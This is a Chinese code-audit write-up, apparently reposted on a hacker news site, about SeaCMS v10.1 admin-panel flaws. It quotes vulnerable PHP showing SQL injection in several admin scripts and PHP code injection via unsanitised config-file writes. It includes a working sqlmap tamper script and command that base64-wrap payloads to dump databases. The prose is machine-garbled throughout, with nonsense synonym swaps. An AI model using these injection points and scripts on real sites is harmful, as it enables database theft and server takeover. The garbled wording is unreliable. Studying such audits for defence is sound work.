phpstromsqlmapseacmsv10.1-

phpstromsqlmapseacmsv10.1-

黑客资讯hacker2020-08-28 8:08:5386302A+A-

序言

seacms是一个代码审计新手入门的cms,较为合适我这类新手游戏玩家来学习培训,假如有哪些不正确热烈欢迎强调。

自然环境

phpstudy pro

php5.4.45nts

seay代码审计专用工具

phpstrom

sqlmap

seacms v10.1

由于这一cms的官方网站早已无法打开了,因此 发一下自身储存的编码

连接https://pan.baidu.com/s/1f8mXyOX6sgsersyNz-kDQg提取码j3k0

安裝cms

能够参考文件目录下的深海CMS操作手册来开展配备

image.png

在安裝以后系统软件会转化成一个任意后台管理

image.png

构思小结

根据查看目录构造与有关文件目录掌握作用,查询环境变量,

访问 网址,掌握cms的作用,对很有可能存有系统漏洞的地区开展纪录,还可以融合xray开展扫描仪,

但是本人不太强烈推荐融合xray,尤其是在检测后台管理的情况下,很有可能会把自然环境搞蹦,而且通过率并不是很高

对上传文件,sql语句拼凑,文档载入(写配备)有关作用点重点关注,

假如自动化技术专用工具不可以寻找系统漏洞点,能够根据seay相互配合,查询很有可能的系统漏洞点,开展反方向搜索

假如对编码不足了解得话能够根据phpstrom开展动态性调节,查询参数传递与句子拼凑,

根据phpstrom调节查询自身的payload在哪儿被过虑与解决,开展相对改动

代码审计

文件目录构造

1592907193_5ef1d5b917f13.png!small

│─admin //管理后台文件目录(这儿为随机生成的w1aqhp)

│ │─coplugins //已停止使用文件目录

│ │─ebak //王国备份数据王备份数据

│ │─editor //在线编辑器

│ │─img //后台管理静态数据文档

│ │─js //后台管理js文件

│ │─templets //后台模板文档

│─article //文章页

│─articlelist //文章列表页

│─comment //评价

│ │─api //评价插口文档

│ │─images //评价静态数据文档

│ │─js //评价js文件

│─data //配备数据信息及缓存

│ │─admin //后台管理配备储存

│ │─cache //缓存文件

│ │─mark //图片水印

│ │─sessions //sessions文档

│─detail //视頻內容页

│─include //关键文档

│ │─crons //计划任务配备

│ │─data //静态数据文档

│ │─inc //拓展文档

│ │─webscan //360安全检测控制模块

│─install //安裝控制模块

│ │─images //安裝控制模块静态数据文档

│ │─templates //安裝控制模块模版

│─js //js文件

│ │─ads //默认设置广告宣传文件目录

│ │─player //播放软件文件目录

│─list //视频列表页

│─news //文章内容主页

│─pic //静态数据文档

│ │─faces //小表情图象

│ │─member //vip会员控制模块页面

│ │─slide //老版Flashppt

│ │─zt //专题讲座静态数据文档

│─templets //模版文件目录

│─topic //专题讲座內容页

│─topiclist //专题讲座目录页

│─uploads //文件上传文件目录

│─video //视頻播放页

│─weixin //微信接口文件目录

└─index.php //主页文档

后台管理sql注入(一)

在对后台管理检测的情况下,在加上数据信息的情况下系统软件都是先检查程序是不是存有,假如不会有以后再开展加上,因此剖析检查程序存有的数据文件

image.png

w1aqhp\admin_ajax.php76行进到分辨

elseif($action=="checkrepeat") {  $v_name=iconv('utf-8','utf-8',$_GET["v_name"]);   $row=$dsql->GetOne("select count(*) as dd from sea_data where v_name='$v_name'");  $num=$row['dd'];  if($num==0){echo "ok";}else{echo "err";} }

对传到的主要参数开展编号解决,在下一行对主要参数开展拼凑沒有开展过虑,跟踪GetOne涵数

 function GetOne($sql='' )  {   global $dsql;   if($dsql->isClose)   {    $this->Open(false);    $dsql->isClose = false;   }   //SQL句子安全大检查   $sql=CheckSql($sql);   if(!empty($sql))   {    if(!m_eregi("limit",$sql)) $this->SetQuery(m_eregi_replace("[,;]$",'',trim($sql))." limit 0,1;");    else $this->SetQuery($sql);   }   $this->Execute("one");   $arr = $this->GetArray("one");   if(!is_array($arr))   {    return '';   }   else   {    @mysqli_free_result($this->result["one"]); return($arr);   }  }

开展了sql语句安全大检查,跟踪CheckSql涵数

//SQL句子过虑程序流程,由80sec出示,这儿作了适度的改动 function CheckSql($db_string,$querytype='select') {  global $cfg_cookie_encode;  $clean = '';  $error='';  $old_pos = 0;  $pos = -1;  $log_file = sea_INC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';  $userIP = GetIP();  $getUrl = GetCurUrl();   $db_string = str_ireplace('--', "", $db_string);  $db_string = str_ireplace('/*', "", $db_string);  $db_string = str_ireplace('*/', "", $db_string);  $db_string = str_ireplace('*!', "", $db_string);  $db_string = str_ireplace('//', "", $db_string);  $db_string = str_ireplace('\\', "", $db_string);  $db_string = str_ireplace('hex', "he", $db_string);   $db_string = str_ireplace('updatexml', "updatexm", $db_string);  $db_string = str_ireplace('extractvalue', "extractvalu", $db_string);  $db_string = str_ireplace('benchmark', "benchmar", $db_string);  $db_string = str_ireplace('sleep', "slee", $db_string);  $db_string = str_ireplace('load_file', "load-file", $db_string);  $db_string = str_ireplace('outfile', "out-file", $db_string);  $db_string = str_ireplace('ascii', "asci", $db_string);   $db_string = str_ireplace('char(', "cha", $db_string);   $db_string = str_ireplace('substr', "subst", $db_string);  $db_string = str_ireplace('substring', "substrin", $db_string);  $db_string = str_ireplace('script', "scrip", $db_string);  $db_string = str_ireplace('frame', "fram", $db_string);  $db_string = str_ireplace('information_schema', "information-schema", $db_string);  $db_string = str_ireplace('exp', "ex", $db_string);  $db_string = str_ireplace('GeometryCollection', "GeometryCollectio", $db_string);  $db_string = str_ireplace('polygon', "polygo", $db_string);  $db_string = str_ireplace('multipoint', "multipoin", $db_string);  $db_string = str_ireplace('multilinestring', "multilinestrin", $db_string);  $db_string = str_ireplace('linestring', "linestrin", $db_string);  $db_string = str_ireplace('multipolygon', "multipolygo", $db_string);    //如果是一般查寻句子,立即过虑一些独特英语的语法  if($querytype=='select')  {   $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";    //$notallow2 = "--|/\*";   if(m_eregi($notallow1,$db_string)){exit('SQL check');}   if(m_eregi('<script',$db_string)){exit('SQL check');}   if(m_eregi('/script',$db_string)){exit('SQL check');}   if(m_eregi('script>',$db_string)){exit('SQL check');}   if(m_eregi('if:',$db_string)){exit('SQL check');}   <
span class="cm-keyword" style="margin:1080x;padding:1080x;border:1080x;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;vertical-align:baseline;outline:none;box-sizing:border-box;color:#C88FD0;">if(m_eregi('--',$db_string)){exit('SQL check');}   if(m_eregi('char(',$db_string)){exit('SQL check');}   if(m_eregi('*/',$db_string)){exit('SQL check');}  }   //详细的SQL查验  while (true)  {   $pos = stripos($db_string, '\'', $pos   1);   if ($pos === false)   {    break;   }   $clean .= substr($db_string, $old_pos, $pos - $old_pos);   while (true)   {    $pos1 = stripos($db_string, '\'', $pos   1);    $pos2 = stripos($db_string, '\\', $pos   1);    if ($pos1 === false)    {     break;    }    elseif ($pos2 == false || $pos2 > $pos1)    {     $pos = $pos1;     break;    }    $pos = $pos2   1;   }   $clean .= '$s$';   $old_pos = $pos   1;  }  $clean .= substr($db_string, $old_pos);  $clean = trim(strtolower(preg_replace(array('~\s ~s' ), array(' '), $clean)));   if (stripos($clean, '@') !== FALSE  OR stripos($clean,'char(')!== FALSE  OR stripos($clean,'script>')!== FALSE   OR stripos($clean,'<script')!== FALSE  OR stripos($clean,'"')!== FALSE OR stripos($clean,'$s$$s$')!== FALSE)         {             $fail = TRUE;             if(preg_match("#^create table#i",$clean)) $fail = FALSE;             $error="unusual character";         }  //老版本的Mysql并不兼容union,常见的程序流程里都不应用union,可是一些网络黑客应用它,因此 查验它  if (stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)  {   $fail = true;   $error="union detect";  }   //公布版本号的程序流程很有可能较为少包含--,#那样的注解,可是网络黑客常常应用他们  elseif (stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false)  {   $fail = true;   $error="comment detect";  }   //这种涵数不容易被应用,可是网络黑客会用它来实际操作文档,down掉数据库查询  elseif (stripos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)  {   $fail = true;   $error="sleep detect";  }  elseif (stripos($clean, 'updatexml') !== false && preg_match('~(^|[^a-z])updatexml($|[^[a-z])~s', $clean) != 0)  {   $fail = true;   $error="updatexml  detect";  }  elseif (stripos($clean, 'extractvalue') !== false && preg_match('~(^|[^a-z])extractvalue($|[^[a-z])~s', $clean) != 0)  {   $fail = true;   $error="extractvalue  detect";  }  elseif (stripos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)  {   $fail = true;   $error="benchmark detect";  }  elseif (stripos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)  {   $fail = true;   $error="file fun detect";  }  elseif (stripos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s outfile($|[^[a-z])~s', $clean) != 0)  {   $fail = true;   $error="file fun detect";  }   //老版本的MYSQL不兼容子查询,大家的程序流程里很有可能也用到少,可是网络黑客能够应用它来数据库查询比较敏感信息内容  elseif (preg_match('~\([^)]*?select~s', $clean) != 0)  {   $fail = true;   $error="sub select detect";  }  if (!empty($fail))  {   fputs(fopen($log_file,'a '),"$userIP||$getUrl||$db_string||$error\r\n");   exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");  }  else  {    return $db_string;  } }

在开展过虑的情况下全是应用的小写字母,应用英文大写能够绕开,可是在623行对sql语句应用了strtolower解决,不能够应用select子查询,因此 这里只有引入出当今数据库查询

_2.jpg

后台管理sql注入(二)

w1aqhp/admin_comment_news.php下的54行的删掉评价实际操作

elseif($action=="delallcomment") {  if(empty($e_id))  {   ShowMsg("挑选必须删掉的评价","-1");   exit();  }  $ids = implode(',',$e_id);  delcommentcache($ids);  $dsql->ExecuteNoneQuery("delete from sea_comment where id in(".$ids.")");  ShowMsg("取得成功删掉选定评价!","admin_comment_news.php");  exit(); }

传到主要参数e_id,跟踪delcommentcache涵数

function delcommentcache($id) {  global $dsql;  $dsql->setQuery("select v_id from sea_comment where id in (".$id.")");  $dsql->Execute("delcommentcache");  while($row = $dsql->GetArray("delcommentcache"))  {   if(fil
e_exists(sea_DATA.'/cache/review/1/'.$row['v_id'].'.js'))   {    delfile(sea_DATA.'/cache/review/1/'.$row['v_id'].'.js');   }  } }

对传到数据信息沒有开展解决立即拼凑,跟踪setQuery

 //设定SQL句子,会全自动把SQL句子里的sea_更换为$this->dbPrefix(在环境变量中为$cfg_dbprefix)  function SetQuery($sql)  {   $prefix="sea_";   $sql = str_replace($prefix,$this->dbPrefix,$sql);   $this->queryString = $sql;  }

沒有开展过虑,跟踪Execute

 function Execute($id="me", $sql='')  {   global $dsql;   self::$i  ;   if($dsql->isClose)   {    $this->Open(false);    $dsql->isClose = false;   }   if(!empty($sql))   {    $this->SetQuery($sql);   }    //SQL句子安全大检查   if($this->safeCheck)   {    CheckSql($this->queryString);   }          $t1 = ExecTime();      $this->result[$id] = mysqli_query($this->linkID,$this->queryString);      //查寻功能测试   //$queryTime = ExecTime() - $t1;   //if($queryTime > 0.05) {    //echo $this->queryString."--{$queryTime}<hr />\r\n";    //}      if($this->result[$id]===false)   {    $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");   }  }

发觉默认设置沒有打开sql语句安全大检查

aHR0cHM6Ly9wMC5zc2wucWhpbWcuY29tL3QwMWE2OThlZTFmOTQ5ZjUxYzcucG5n_meitu_3.jpg

存有引入

aHR0cHM6Ly9wMS5zc2wucWhpbWcuY29tL3QwMTkyOGZjYWY5NTU2ZjJkYTQucG5n_meitu_4.jpg

后台管理sql注入(三)

w1aqhp/admin_video.php的44行进到分辨,在85-88行对客户传到主要参数开展解决,沒有过虑

image.png

123行,立即对主要参数开展拼凑

image.png

124行,跟踪ExecuteNoneQuery

 function ExecuteNoneQuery($sql='')  {   global $dsql;   self::$i  ;   if($dsql->isClose)   {    $this->Open(false);    $dsql->isClose = false;   }   if(!empty($sql))   {    $this->SetQuery($sql);   }   if(is_array($this->parameters))   {    foreach($this->parameters as $key=>$value)    {     $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);    }   }    //SQL句子安全大检查   if($this->safeCheck) CheckSql($this->queryString,'update');   return mysqli_query($this->linkID,$this->queryString);  }

默认设置沒有开展sql语句安全大检查

aHR0cHM6Ly9wMi5zc2wucWhpbWcuY29tL3QwMTAzODA5OTZiYzI0MmM1MWUucG5n_meitu_6.jpg

丢到sqlmap

image.png

aHR0cHM6Ly9wMC5zc2wucWhpbWcuY29tL3QwMThlZTE5NmMzMDIyYTUwNzQucG5n_meitu_7.jpg

后台管理sql注入(四)

w1aqhp/admin_collect_news.php382行,应用importok

elseif($action=="importok")
{
	$importrule = trim($importrule);
	if(empty($importrule))
	{
		ShowMsg("标准內容为
空!","-1");
		exit();
	}
	//对Base64文件格式的标准开展编解码
	if(m_ereg('^BASE64:',$importrule))
	{
		if(!m_ereg(':END$',$importrule))
		{
			ShowMsg('该标准不合理合法,Base64文件格式的收集标准为:BASE64:base64编号后的配备:END !','-1');
			exit();
		}
		$importrules = explode(':',$importrule);
		$importrule = $importrules[1];
		$importrule = unserialize(base64_decode($importrule)) OR  die('配备字符串数组有不正确!'); 
		//die(base64_decode($importrule));
	}
	else
	{
		ShowMsg('该标准不合理合法,Base64文件格式的收集标准为:BASE64:base64编号后的配备:END !','-1');
		exit();
	}
	if(!is_array($importrule) || !is_array($importrule['config']) || !is_array($importrule['type']))
	{
		ShowMsg('该标准不合理合法,没法导进!','-1');
		exit();
	}
	$data = $importrule['config'];
	unset($data['cid']);
	$data['cname'].="(导进時间:".date("Y-m-d H:i:s").")";
	$data['cotype'] = '1';
	$sql = si("sea_co_config",$data,1);
	$dsql->ExecuteNoneQuery($sql);
	$cid = $dsql->GetLastID();
	if (!empty($importrule['type'])){
		foreach ($importrule['type'] as $type){
			unset($type['tid']);
			$type['cid'] = $cid;
			$type['addtime'] = time();
			$type['cjtime'] = '';
			$type['cotype'] = '1';
			$data = $type;
			$sql = si("sea_co_type",$data,1);
			$dsql->ExecuteNoneQuery($sql);
		}
	}
	ShowMsg('取得成功导进标准!','admin_collect_news.php');
	exit;
} 

最先分辨传到的字符串数组是不是合乎文件格式,以后开展base64编解码以后开展反序列化实际操作

408行 分辨反序列化以后的字符串数组是不是符合规定

417行对sql语句开展拼凑,回到句子

418行实行句子,跟踪ExecuteNoneQuery

默认设置沒有过虑sql语句

1592907851_5ef1d84b00fd5.jpg!small

由于这儿对传到数据信息开展了编号解决,因此 撰写sqlmap的tamper脚本制作

addnote.py

#!/usr/bin/env python
#addnote.py
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import base64

from lib.core.common import randomRange
from lib.core.compat import xrange
from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def dependencies():
    pass

def tamper(payload, **kwargs):

    b='getlistnum`) values(3 (1=2 qqq))#'
    b=b.replace('qqq',payload)
    a='a:2:{s:6:"config";a:3:{s:5:"cname";s:1:"1";s:6:"cotype";s:1:"1";s:len:"string";i:123;}s:4:"type";a:0:{}}'
    a=a.replace('len',str(len(b)))
    a=a.replace('string',b)
    retVal="BASE64:" base64.b64encode(a) ":END"
    return retVal 

丢到sqlmap

sqlmap.py -r C:\Users\11962\Desktop\12.txt -p importrule --dbms mysql --risk 3 -v 3 --dbs --tamper=addnote 

image.png

后台管理指令实行(一)

w1aqhp/admin_ip.php下第五行应用set主要参数

if($action=="set")
{
	$v= $_POST['v'];
	$ip = $_POST['ip'];
	$open=fopen("../data/admin/ip.php","w" );
	$str='<?php ';
	$str.='$v = "';
	$str.="$v";
	$str.='"; ';
	$str.='$ip = "';
	$str.="$ip";
	$str.='"; ';
	$str.=" ?>";
	fwrite($open,$str);
	fclose($open);
	ShowMsg("取得成功储存设定!","admin_ip.php");
	exit;
} 

对客户键入沒有开展一切解决,立即载入文档

结构payload

image.png

查询\data\admin\ip.php

image.png

image.png

后台管理指令实行(二)

w1aqhp/admin_weixin.php下第五行,应用set主要参数

对传到主要参数沒有开展解决,拼凑字符串数组

format,png

118行载入文档

format,png

结构payload

image.png

浏览/data/admin/weixin.php

image.png

后台管理指令实行(三)

w1aqhp/admin_notify.php第五行

if($action=="set")
{
	$notify1= $_POST['notify1'];
	$notify2= $_POST['notify2'];
	$notify3= $_POST['notify3'];
	$open=fopen("../data/admin/notify.php","w" );
	$str='<?ph
p ';
	$str.='$notify1 = "';
	$str.="$notify1";
	$str.='"; ';
	$str.='$notify2 = "';
	$str.="$notify2";
	$str.='"; ';
	$str.='$notify3 = "';
	$str.="$notify3";
	$str.='"; ';
	$str.=" ?>";
	fwrite($open,$str);
	fclose($open);
	ShowMsg("取得成功储存设定!","admin_notify.php");
	exit;
} 

对传到的数据信息沒有开展解决,立即拼凑字符串数组以后载入文档

结构payload

1592908157_5ef1d97d3498a.png!small

浏览/data/admin/notify.php

1592908175_5ef1d98fc8b13.png!small

小结

尽管这是一个新手入门的cms,也全是后台管理的系统漏洞,可是也从初中来到专业知识,另外也要仔细,对很有可能存有的系统漏洞点开展检测。

假如对编码了解不足或是针对后台管理逻辑性不太了解得话能够根据动态性调节来加重了解,一些全局性的涵数搜索推荐seay源码审计系统。

假如哪有不正确热烈欢迎纠正。

文中创作者:joe119

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 2条评论
  • 萌懂拥嬉2022-05-28 05:15:02
  • //已停止使用文件目录 │ │─ebak //王国备份数据王备份数据 │ │─editor //在线编辑器 │ │─img //后台管理静态数据文档 │ │─js //后台管理js文件
  • 萌懂鸠魁2022-05-28 11:17:25
  • g)){exit('SQL check');} if(m_eregi('*/',$db_string)){exit('SQL check');} } //详细的SQL查验 whil

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理